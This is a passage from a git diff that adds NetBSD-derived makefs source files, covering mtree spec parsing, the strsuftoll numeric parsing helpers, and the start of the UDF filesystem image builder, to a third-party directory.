device `%s'", arg); + } + return (result); +} + +static void +replacenode(NODE *cur, NODE *new) +{ + +#define REPLACE(x) cur->x = new->x +#define REPLACESTR(x) REPLACEPTR(cur->x,new->x) + + if (cur->type != new->type) { + if (mtree_Mflag) { + /* + * merge entries with different types; we + * don't want children retained in this case. + */ + REPLACE(type); + free_nodes(cur->child); + cur->child = NULL; + } else { + mtree_err( + "existing entry for `%s', type `%s'" + " does not match type `%s'", + cur->name, nodetype(cur->type), + nodetype(new->type)); + } + } + + REPLACE(st_size); + REPLACE(st_mtimespec); + REPLACESTR(slink); + if (cur->slink != NULL) { + if ((cur->slink = strdup(new->slink)) == NULL) + mtree_err("memory allocation error"); + if (strunvis(cur->slink, new->slink) == -1) + mtree_err("strunvis failed on `%s'", new->slink); + free(new->slink); + } + REPLACE(st_uid); + REPLACE(st_gid); + REPLACE(st_mode); + REPLACE(st_rdev); + REPLACE(st_flags); + REPLACE(st_nlink); + REPLACE(cksum); + REPLACESTR(md5digest); + REPLACESTR(rmd160digest); + REPLACESTR(sha1digest); + REPLACESTR(sha256digest); + REPLACESTR(sha384digest); + REPLACESTR(sha512digest); + REPLACESTR(tags); + REPLACE(lineno); + REPLACE(flags); + free(new); +} + +static void +set(char *t, NODE *ip) +{ + int type, value, len; + gid_t gid; + uid_t uid; + char *kw, *val, *md, *ep; + void *m; + + while ((kw = strsep(&t, "= \t")) != NULL) { + if (*kw == '\0') + continue; + if (strcmp(kw, "all") == 0) + mtree_err("invalid keyword `all'"); + ip->flags |= type = parsekey(kw, &value); + if (!value) + /* Just set flag bit (F_IGN and F_OPT) */ + continue; + while ((val = strsep(&t, " \t")) != NULL && *val == '\0') + continue; + if (val == NULL) + mtree_err("missing value"); + switch (type) { + case F_CKSUM: + ip->cksum = strtoul(val, &ep, 10); + if (*ep) + mtree_err("invalid checksum `%s'", val); + break; + case F_DEV: + ip->st_rdev = parsedev(val); + break; + case F_FLAGS: + if (strcmp("none", val) == 0) + ip->st_flags = 0; + else if (string_to_flags(&val, &ip->st_flags, NULL) + != 0) + mtree_err("invalid flag `%s'", val); + break; + case F_GID: + ip->st_gid = (gid_t)strtoul(val, &ep, 10); + if (*ep) + mtree_err("invalid gid `%s'", val); + break; + case F_GNAME: + if (mtree_Wflag) /* don't parse if whacking */ + break; + if (gid_from_group(val, &gid) == -1) + mtree_err("unknown group `%s'", val); + ip->st_gid = gid; + break; + case F_MD5: + if (val[0]=='0' && val[1]=='x') + md=&val[2]; + else + md=val; + if ((ip->md5digest = strdup(md)) == NULL) + mtree_err("memory allocation error"); + break; + case F_MODE: + if ((m = setmode(val)) == NULL) + mtree_err("cannot set file mode `%s' (%s)", + val, strerror(errno)); + ip->st_mode = getmode(m, 0); + free(m); + break; + case F_NLINK: + ip->st_nlink = (nlink_t)strtoul(val, &ep, 10); + if (*ep) + mtree_err("invalid link count `%s'", val); + break; + case F_RMD160: + if (val[0]=='0' && val[1]=='x') + md=&val[2]; + else + md=val; + if ((ip->rmd160digest = strdup(md)) == NULL) + mtree_err("memory allocation error"); + break; + case F_SHA1: + if (val[0]=='0' && val[1]=='x') + md=&val[2]; + else + md=val; + if ((ip->sha1digest = strdup(md)) == NULL) + mtree_err("memory allocation error"); + break; + case F_SIZE: + ip->st_size = (off_t)strtoll(val, &ep, 10); + if (*ep) + mtree_err("invalid size `%s'", val); + break; + case F_SLINK: + if ((ip->slink = strdup(val)) == NULL) + mtree_err("memory allocation error"); + if (strunvis(ip->slink, val) == -1) + mtree_err("strunvis failed on `%s'", val); + break; + case F_TAGS: + len = strlen(val) + 3; /* "," + str + ",\0" */ + if ((ip->tags = malloc(len)) == NULL) + mtree_err("memory allocation error"); + snprintf(ip->tags, len, ",%s,", val); + break; + case F_TIME: + ip->st_mtimespec.tv_sec = + (time_t)strtoul(val, &ep, 10); + if (*ep != '.') + mtree_err("invalid time `%s'", val); + val = ep + 1; + ip->st_mtimespec.tv_nsec = strtoul(val, &ep, 10); + if (*ep) + mtree_err("invalid time `%s'", val); + break; + case F_TYPE: + ip->type = parsetype(val); + break; + case F_UID: + ip->st_uid = (uid_t)strtoul(val, &ep, 10); + if (*ep) + mtree_err("invalid uid `%s'", val); + break; + case F_UNAME: + if (mtree_Wflag) /* don't parse if whacking */ + break; + if (uid_from_user(val, &uid) == -1) + mtree_err("unknown user `%s'", val); + ip->st_uid = uid; + break; + case F_SHA256: + if (val[0]=='0' && val[1]=='x') + md=&val[2]; + else + md=val; + if ((ip->sha256digest = strdup(md)) == NULL) + mtree_err("memory allocation error"); + break; + case F_SHA384: + if (val[0]=='0' && val[1]=='x') + md=&val[2]; + else + md=val; + if ((ip->sha384digest = strdup(md)) == NULL) + mtree_err("memory allocation error"); + break; + case F_SHA512: + if (val[0]=='0' && val[1]=='x') + md=&val[2]; + else + md=val; + if ((ip->sha512digest = strdup(md)) == NULL) + mtree_err("memory allocation error"); + break; + default: + mtree_err( + "set(): unsupported key type 0x%x (INTERNAL ERROR)", + type); + /* NOTREACHED */ + } + } +} + +static void +unset(char *t, NODE *ip) +{ + char *p; + + while ((p = strsep(&t, " \t")) != NULL) { + if (*p == '\0') + continue; + ip->flags &= ~parsekey(p, NULL); + } +} diff --git a/thirdparty/makefs/stat_flags.h b/thirdparty/makefs/stat_flags.h new file mode 100644 index 0000000..bf8b30f --- /dev/null +++ b/thirdparty/makefs/stat_flags.h @@ -0,0 +1,35 @@ +/* $NetBSD: stat_flags.h,v 1.1 2003/09/05 18:39:00 jlam Exp $ */ + +/*- + * Copyright (c) 1991, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)extern.h 8.1 (Berkeley) 5/31/93 + */ + +char *flags_to_string(u_long, const char *); +int string_to_flags(char **, u_long *, u_long *); diff --git a/thirdparty/makefs/strstuff.c b/thirdparty/makefs/strstuff.c new file mode 100644 index 0000000..888326c --- /dev/null +++ b/thirdparty/makefs/strstuff.c @@ -0,0 +1,222 @@ +/* $NetBSD: strsuftoll.c,v 1.6 2004/03/05 05:58:29 lukem Exp $ */ +/*- + * Copyright (c) 2001-2002,2004 The NetBSD Foundation, Inc. + * All rights reserved. + * + * This code is derived from software contributed to The NetBSD Foundation + * by Luke Mewburn. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS + * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ +/*- + * Copyright (c) 1991, 1993, 1994 + * The Regents of the University of California. All rights reserved. + * + * This code is derived from software contributed to Berkeley by + * Keith Muller of the University of California, San Diego and Lance + * Visser of Convex Computer Corporation. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ + +#include +//__FBSDID("$FreeBSD: head/lib/libnetbsd/strsuftoll.c 244557 2012-12-21 20:37:38Z brooks $"); + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef _LIBC +# ifdef __weak_alias +__weak_alias(strsuftoll, _strsuftoll) +__weak_alias(strsuftollx, _strsuftollx) +# endif +#endif /* LIBC */ + +/* + * Convert an expression of the following forms to a (u)int64_t. + * 1) A positive decimal number. + * 2) A positive decimal number followed by a b (mult by 512). + * 3) A positive decimal number followed by a k (mult by 1024). + * 4) A positive decimal number followed by a m (mult by 1048576). + * 5) A positive decimal number followed by a g (mult by 1073741824). + * 6) A positive decimal number followed by a t (mult by 1099511627776). + * 7) A positive decimal number followed by a w (mult by sizeof int) + * 8) Two or more positive decimal numbers (with/without k,b or w). + * separated by x (also * for backwards compatibility), specifying + * the product of the indicated values. + * Returns the result upon successful conversion, or exits with an + * appropriate error. + * + */ + +/* + * As strsuftoll(), but returns the error message into the provided buffer + * rather than exiting with it. + */ +/* LONGLONG */ +long long +strsuftollx(const char *desc, const char *val, + long long min, long long max, char *ebuf, size_t ebuflen) +{ + long long num, t; + char *expr; + + errno = 0; + ebuf[0] = '\0'; + + while (isspace((unsigned char)*val)) /* Skip leading space */ + val++; + + num = strtoll(val, &expr, 10); + if (errno == ERANGE) + goto erange; /* Overflow */ + + if (expr == val) /* No digits */ + goto badnum; + + switch (*expr) { + case 'b': + t = num; + num *= 512; /* 1 block */ + if (t > num) + goto erange; + ++expr; + break; + case 'k': + t = num; + num *= 1024; /* 1 kilobyte */ + if (t > num) + goto erange; + ++expr; + break; + case 'm': + t = num; + num *= 1048576; /* 1 megabyte */ + if (t > num) + goto erange; + ++expr; + break; + case 'g': + t = num; + num *= 1073741824; /* 1 gigabyte */ + if (t > num) + goto erange; + ++expr; + break; + case 't': + t = num; + num *= 1099511627776LL; /* 1 terabyte */ + if (t > num) + goto erange; + ++expr; + break; + case 'w': + t = num; + num *= sizeof(int); /* 1 word */ + if (t > num) + goto erange; + ++expr; + break; + } + + switch (*expr) { + case '\0': + break; + case '*': /* Backward compatible */ + case 'x': + t = num; + num *= strsuftollx(desc, expr + 1, min, max, ebuf, ebuflen); + if (*ebuf != '\0') + return (0); + if (t > num) { + erange: + snprintf(ebuf, ebuflen, + "%s: %s", desc, strerror(ERANGE)); + return (0); + } + break; + default: + badnum: snprintf(ebuf, ebuflen, + "%s `%s': illegal number", desc, val); + return (0); + } + if (num < min) { + /* LONGLONG */ + snprintf(ebuf, ebuflen, "%s %lld is less than %lld.", + desc, (long long)num, (long long)min); + return (0); + } + if (num > max) { + /* LONGLONG */ + snprintf(ebuf, ebuflen, + "%s %lld is greater than %lld.", + desc, (long long)num, (long long)max); + return (0); + } + *ebuf = '\0'; + return (num); +} + +/* LONGLONG */ +long long +strsuftoll(const char *desc, const char *val, + long long min, long long max) +{ + long long result; + char errbuf[100]; + + result = strsuftollx(desc, val, min, max, errbuf, sizeof(errbuf)); + if (*errbuf != '\0') + errx(1, "%s", errbuf); + return (result); +} diff --git a/thirdparty/makefs/udf.c b/thirdparty/makefs/udf.c new file mode 100644 index 0000000..6436a38 --- /dev/null +++ b/thirdparty/makefs/udf.c @@ -0,0 +1,1267 @@ +/* $NetBSD: udf.c,v 1.25 2022/04/09 10:05:35 riastradh Exp $ */ + +/* + * Copyright (c) 2006, 2008, 2013, 2021, 2022 Reinoud Zandijk + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ +#if HAVE_NBTOOL_CONFIG_H +#include "nbtool_config.h" +#endif + +#include +//__RCSID("$NetBSD: udf.c,v 1.25 2022/04/09 10:05:35 riastradh Exp $"); + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "util.h" + +#if !HAVE_NBTOOL_CONFIG_H +#define _EXPOSE_MMC +#include "cdio.h" +#else +#include "udf/cdio_mmc_structs.h" +#endif + +#if !HAVE_NBTOOL_CONFIG_H +#define HAVE_STRUCT_TM_TM_GMTOFF +#endif + +#include "makefs.h" +#include "udf_core.h" +#include "newfs_udf.h" + +/* identification */ +#define IMPL_NAME "*NetBSD makefs 10.0" +#define APP_VERSION_MAIN 0 +#define APP_VERSION_SUB 5 + +/* + * Note: due to the setup of the newfs code, the current state of the program + * and its options are held in a few global variables. The FS specific parts + * are in global `context' and 'layout' structures. + */ + +/* global variables describing disc and format requests */ +int req_enable, req_disable; + + +/* --------------------------------------------------------------------- */ + +static int +udf_readonly_format(void) +{ + /* + * we choose the emulated profile to determine this since the media + * might be different from the format we create. Say creating a CDROM + * on a CD-R media. + */ + switch (emul_mmc_profile) { + case 0x00: /* unknown, treat as CDROM */ + case 0x08: /* CDROM */ + case 0x10: /* DVDROM */ + case 0x40: /* BDROM */ + return true; + } + return false; +} + + +#define OPT_STR(letter, name, desc) \ + { letter, name, NULL, OPT_STRBUF, 0, 0, desc } + +#define OPT_NUM(letter, name, field, min, max, desc) \ + { letter, name, &context.field, \ + sizeof(context.field) == 8 ? OPT_INT64 : \ + (sizeof(context.field) == 4 ? OPT_INT32 : \ + (sizeof(context.field) == 2 ? OPT_INT16 : OPT_INT8)), \ + min, max, desc } + +#define OPT_BOOL(letter, name, field, desc) \ + OPT_NUM(letter, name, field, 0, 1, desc) + +void +udf_prep_opts(fsinfo_t *fsopts) +{ + const option_t udf_options[] = { + OPT_STR('T', "disctype", "disc type (cdrom,dvdrom,bdrom," + "dvdram,bdre,disk,cdr,dvdr,bdr,cdrw,dvdrw)"), + OPT_STR('L', "loglabel", "\"logical volume name\""), + OPT_STR('P', "discid", "\"[volset name ':']" + "physical volume name\""), + OPT_NUM('t', "tz", gmtoff, -24, 24, "timezone"), + OPT_STR('v', "minver", "minimum UDF version in either " + "``0x201'' or ``2.01'' format"), + OPT_STR('V', "maxver", "maximum UDF version in either " + "``0x201'' or ``2.01'' format"), + OPT_NUM('p', "metaperc", meta_perc, 1, 99, + "minimum free metadata percentage"), + OPT_BOOL('c', "checksurface", check_surface, + "perform crude surface check on rewritable media"), + OPT_BOOL('F', "forceformat", create_new_session, + "force file system construction on non-empty recordable media"), + { .name = NULL } + }; + + /* initialise */ + req_enable = req_disable = 0; + fsopts->sectorsize = 512; /* minimum allowed sector size */ + + srandom((unsigned long) time(NULL)); + + udf_init_create_context(); + context.app_name = "*NetBSD UDF"; + context.app_version_main = APP_VERSION_MAIN; + context.app_version_sub = APP_VERSION_SUB; + context.impl_name = IMPL_NAME; + + /* minimum and maximum UDF versions we advise */ + context.min_udf = 0x102; + context.max_udf = 0x250; /* 0x260 is not ready */ + + /* defaults for disc/files */ + emul_mmc_profile = -1; /* invalid->no emulation */ + emul_packetsize = 1; /* reasonable default */ + emul_sectorsize = 512; /* minimum allowed sector size */ + emul_size = 0; /* empty */ + + /* use user's time zone as default */ +#if 0 +//#ifdef HAVE_STRUCT_TM_TM_GMTOFF + if (!stampst.st_ino) { + struct tm tm; + time_t now; + (void)time(&now); + (void)localtime_r(&now, &tm); + context.gmtoff = tm.tm_gmtoff; + } else +#endif + context.gmtoff = 0; + + /* return info */ + fsopts->fs_specific = NULL; + fsopts->fs_options = copy_opts(udf_options); +} + + +void +udf_cleanup_opts(fsinfo_t *fsopts) +{ + free(fsopts->fs_options); +} + + +/* ----- included from newfs_udf.c ------ */ + +#define CDRSIZE ((uint64_t) 700*1024*1024) /* small approx */ +#define CDRWSIZE ((uint64_t) 576*1024*1024) /* small approx */ +#define DVDRSIZE ((uint64_t) 4488*1024*1024) /* small approx */ +#define DVDRAMSIZE ((uint64_t) 4330*1024*1024) /* small approx with spare */ +#define DVDRWSIZE ((uint64_t) 4482*1024*1024) /* small approx */ +#define BDRSIZE ((uint64_t) 23866*1024*1024) /* small approx */ +#define BDRESIZE ((uint64_t) 23098*1024*1024) /* small approx */ +int +udf_parse_opts(const char *option, fsinfo_t *fsopts) +{ + option_t *udf_options = fsopts->fs_options; + uint64_t stdsize, maxsize; + uint32_t set_sectorsize; + char buffer[1024], *buf, *colon; + int i; + + assert(option != NULL); + + if (debug & DEBUG_FS_PARSE_OPTS) + printf("udf_parse_opts: got `%s'\n", option); + + i = set_option(udf_options, option, buffer, sizeof(buffer)); + if (i == -1) + return 0; + + if (udf_options[i].name == NULL) + abort(); + + set_sectorsize = 0; + stdsize = 0; + maxsize = 0; + + buf = buffer; + switch (udf_options[i].letter) { + case 'T': + if (strcmp(buf, "cdrom") == 0) { + emul_mmc_profile = 0x00; + maxsize = CDRSIZE; + } else if (strcmp(buf, "dvdrom") == 0) { + emul_mmc_profile = 0x10; + maxsize = DVDRSIZE; + } else if (strcmp(buf, "bdrom") == 0) { + emul_mmc_profile = 0x40; + maxsize = BDRSIZE; + } else if (strcmp(buf, "dvdram") == 0) { + emul_mmc_profile = 0x12; + stdsize = DVDRAMSIZE; + } else if (strcmp(buf, "bdre") == 0) { + emul_mmc_profile = 0x43; + stdsize = BDRESIZE; + } else if (strcmp(buf, "disk") == 0) { + emul_mmc_profile = 0x01; + } else if (strcmp(buf, "cdr") == 0) { + emul_mmc_profile = 0x09; + stdsize = CDRSIZE; + } else if (strcmp(buf, "dvdr") == 0) { + emul_mmc_profile = 0x1b; + stdsize = DVDRSIZE; + } else if (strcmp(buf, "bdr") == 0) { + emul_mmc_profile = 0x41; + stdsize = BDRSIZE; + } else if (strcmp(buf, "cdrw") == 0) { + emul_mmc_profile = 0x0a; + stdsize = CDRWSIZE; + } else if (strcmp(buf, "dvdrw") == 0) { + emul_mmc_profile = 0x1a; + stdsize = DVDRWSIZE; + } else { + errx(1, "unknown or unimplemented disc format"); + } + if (emul_mmc_profile != 0x01) + set_sectorsize = 2048; + break; + case 'L': + if (context.logvol_name) free(context.logvol_name); + context.logvol_name = strdup(buf); + break; + case 'P': + if ((colon = strstr(buf, ":"))) { + if (context.volset_name) + free(context.volset_name); + *colon = 0; + context.volset_name = strdup(buf); + buf = colon+1; + } + if (context.primary_name) + free(context.primary_name); + if ((strstr(buf, ":"))) + errx(1, "primary name can't have ':' in its name"); + context.primary_name = strdup(buf); + break; + case 'v': + context.min_udf = a_udf_version(buf, "min_udf"); + if (context.min_udf > 0x250) + errx(1, "maximum supported version is UDF 2.50"); + if (context.min_udf > context.max_udf) + context.max_udf = context.min_udf; + break; + case 'V': + context.max_udf = a_udf_version(buf, "min_udf"); + if (context.max_udf > 0x250) + errx(1, "maximum supported version is UDF 2.50"); + if (context.min_udf > context.max_udf) + context.min_udf = context.max_udf; + break; + } + if (set_sectorsize) + fsopts->sectorsize = set_sectorsize; + if (stdsize) { + if (fsopts->maxsize > 0) + stdsize = MIN(stdsize, (uint64_t) fsopts->maxsize); + if (fsopts->minsize > 0) + stdsize = MAX(stdsize, (uint64_t) fsopts->minsize); + fsopts->size = fsopts->minsize = fsopts->maxsize = stdsize; + } + if (maxsize) { + if (fsopts->maxsize > 0) + maxsize = MIN(maxsize, (uint64_t) fsopts->maxsize); + if (fsopts->minsize > 0) + maxsize = MAX(maxsize, (uint64_t) fsopts->minsize); + fsopts->maxsize = maxsize; + } + return 1; +} + +/* - + * -------------------------------------------------------------------- */ + +struct udf_stats { + uint32_t nfiles; + uint32_t ndirs; + uint32_t ndescr; + uint32_t nmetadatablocks; + uint32_t ndatablocks; +}; + + +/* node reference administration */ +static void +udf_inc_link(union dscrptr *dscr) +{ + struct file_entry *fe; + struct extfile_entry *efe; + + if (udf_rw16(dscr->tag.id) == TAGID_FENTRY) { + fe = &dscr->fe; + fe->link_cnt = udf_rw16(udf_rw16(fe->link_cnt) + 1); + } else if (udf_rw16(dscr->tag.id) == TAGID_EXTFENTRY) { + efe = &dscr->efe; + efe->link_cnt = udf_rw16(udf_rw16(efe->link_cnt) + 1); + } else { + errx(1, "bad tag passed to udf_inc_link"); + } +} + + +static void +udf_set_link_cnt(union dscrptr *dscr, int num) +{ + struct file_entry *fe; + struct extfile_entry *efe; + + if (udf_rw16(dscr->tag.id) == TAGID_FENTRY) { + fe = &dscr->fe; + fe->link_cnt = udf_rw16(num); + } else if (udf_rw16(dscr->tag.id) == TAGID_EXTFENTRY) { + efe = &dscr->efe; + efe->link_cnt = udf_rw16(num); + } else { + errx(1, "bad tag passed to udf_set_link_cnt"); + } +} + + +static uint32_t +udf_datablocks(off_t sz) +{ + /* predictor if it can be written inside the node */ + /* XXX the predictor assumes NO extended attributes in the node */ + if (sz < context.sector_size - UDF_EXTFENTRY_SIZE - 16) + return 0; + + return UDF_ROUNDUP(sz, context.sector_size) / context.sector_size; +} + + +static void +udf_prepare_fids(struct long_ad *dir_icb, struct long_ad *dirdata_icb, + uint8_t *dirdata, uint32_t dirdata_size) +{ + struct fileid_desc *fid; + struct long_ad *icb; + uint32_t fidsize, offset; + uint32_t location; + + if (udf_datablocks(dirdata_size) == 0) { + /* going internal */ + icb = dir_icb; + } else { + /* external blocks to write to */ + icb = dirdata_icb; + } + + for (offset = 0; offset < dirdata_size; offset += fidsize) { + /* for each FID: */ + fid = (struct fileid_desc *) (dirdata + offset); + assert(udf_rw16(fid->tag.id) == TAGID_FID); + + location = udf_rw32(icb->loc.lb_num); + location += offset / context.sector_size; + + fid->tag.tag_loc = udf_rw32(location); + udf_validate_tag_and_crc_sums((union dscrptr *) fid); + + fidsize = udf_fidsize(fid); + } +} + + +static int +udf_file_inject_blob(union dscrptr *dscr, uint8_t *blob, off_t size) +{ + struct icb_tag *icb; + struct file_entry *fe; + struct extfile_entry *efe; + uint64_t inf_len, obj_size; + uint32_t l_ea, l_ad; + uint16_t crclen; + uint8_t *data, *pos; + + fe = NULL; + efe = NULL; + if (udf_rw16(dscr->tag.id) == TAGID_FENTRY) { + fe = &dscr->fe; + data = fe->data; + l_ea = udf_rw32(fe->l_ea); + l_ad = udf_rw32(fe->l_ad); + icb = &fe->icbtag; + inf_len = udf_rw64(fe->inf_len); + obj_size = 0; + } else if (udf_rw16(dscr->tag.id) == TAGID_EXTFENTRY) { + efe = &dscr->efe; + data = efe->data; + l_ea = udf_rw32(efe->l_ea); + l_ad = udf_rw32(efe->l_ad); + icb = &efe->icbtag; + inf_len = udf_rw64(efe->inf_len); + obj_size = udf_rw64(efe->obj_size); + } else { + errx(1, "bad tag passed to udf_file_inject_blob"); + } + crclen = udf_rw16(dscr->tag.desc_crc_len); + + /* check if we can go internal */ + if ((udf_rw16(icb->flags) & UDF_ICB_TAG_FLAGS_ALLOC_MASK) != + UDF_ICB_INTERN_ALLOC) + return 1; + + /* check if it will fit internally */ + if (udf_datablocks(size)) { + /* the predictor tells it won't fit internally */ + return 1; + } + + /* going internal */ + assert((udf_rw16(icb->flags) & UDF_ICB_TAG_FLAGS_ALLOC_MASK) == + UDF_ICB_INTERN_ALLOC); + assert(l_ad == 0); + + pos = data + l_ea + l_ad; + memcpy(pos, blob, size); + l_ad += size; + crclen += size; + + inf_len += size; + obj_size += size; + + if (fe) { + fe->l_ad = udf_rw32(l_ad); + fe->inf_len = udf_rw64(inf_len); + } else if (efe) { + efe->l_ad = udf_rw32(l_ad); + efe->inf_len = udf_rw64(inf_len); + efe->obj_size = udf_rw64(inf_len); + } + + /* make sure the header sums stays correct */ + dscr->tag.desc_crc_len = udf_rw16(crclen); + udf_validate_tag_and_crc_sums(dscr); + + return 0; +} + + +/* XXX no sparse file support */ +static void +udf_append_file_mapping(union dscrptr *dscr, struct long_ad *piece) +{ + struct icb_tag *icb; + struct file_entry *fe; + struct extfile_entry *efe; + struct long_ad *last_long, last_piece; + struct short_ad *last_short, new_short; + uint64_t inf_len, obj_size, logblks_rec; + uint32_t l_ea, l_ad, size; + uint32_t last_lb_num, piece_lb_num; + uint64_t last_len, piece_len, last_flags; + uint64_t rest_len, merge_len, last_end; + uint16_t last_part_num, piece_part_num; + uint16_t crclen, cur_alloc; + uint8_t *data, *pos; + const int short_len = sizeof(struct short_ad); + const int long_len = sizeof(struct long_ad); + const int sector_size = context.sector_size; + uint64_t max_len = UDF_ROUNDDOWN(UDF_EXT_MAXLEN, sector_size); + int use_shorts; + + fe = NULL; + efe = NULL; + if (udf_rw16(dscr->tag.id) == TAGID_FENTRY) { + fe = &dscr->fe; + data = fe->data; + l_ea = udf_rw32(fe->l_ea); + l_ad = udf_rw32(fe->l_ad); + icb = &fe->icbtag; + inf_len = udf_rw64(fe->inf_len); + logblks_rec = udf_rw64(fe->logblks_rec); + obj_size = 0; + } else if (udf_rw16(dscr->tag.id) == TAGID_EXTFENTRY) { + efe = &dscr->efe; + data = efe->data; + l_ea = udf_rw32(efe->l_ea); + l_ad = udf_rw32(efe->l_ad); + icb = &efe->icbtag; + inf_len = udf_rw64(efe->inf_len); + obj_size = udf_rw64(efe->obj_size); + logblks_rec = udf_rw64(efe->logblks_rec); + } else { + errx(1, "bad tag passed to udf_file_append_blob"); + } + crclen = udf_rw16(dscr->tag.desc_crc_len); + + /* we use shorts if referring inside the metadata partition */ + use_shorts = (udf_rw16(piece->loc.part_num) == context.metadata_part); + + pos = data + l_ea; + cur_alloc = udf_rw16(icb->flags); + size = UDF_EXT_LEN(udf_rw32(piece->len)); + + /* extract last entry as a long_ad */ + memset(&last_piece, 0, sizeof(last_piece)); + last_len = 0; + last_lb_num = 0; + last_part_num = 0; + last_flags = 0; + last_short = NULL; + last_long = NULL; + if (l_ad != 0) { + if (use_shorts) { + assert(cur_alloc == UDF_ICB_SHORT_ALLOC); + pos += l_ad - short_len; + last_short = (struct short_ad *) pos; + last_lb_num = udf_rw32(last_short->lb_num); + last_part_num = udf_rw16(piece->loc.part_num); + last_len = UDF_EXT_LEN(udf_rw32(last_short->len)); + last_flags = UDF_EXT_FLAGS(udf_rw32(last_short->len)); + } else { + assert(cur_alloc == UDF_ICB_LONG_ALLOC); + pos += l_ad - long_len; + last_long = (struct long_ad *) pos; + last_lb_num = 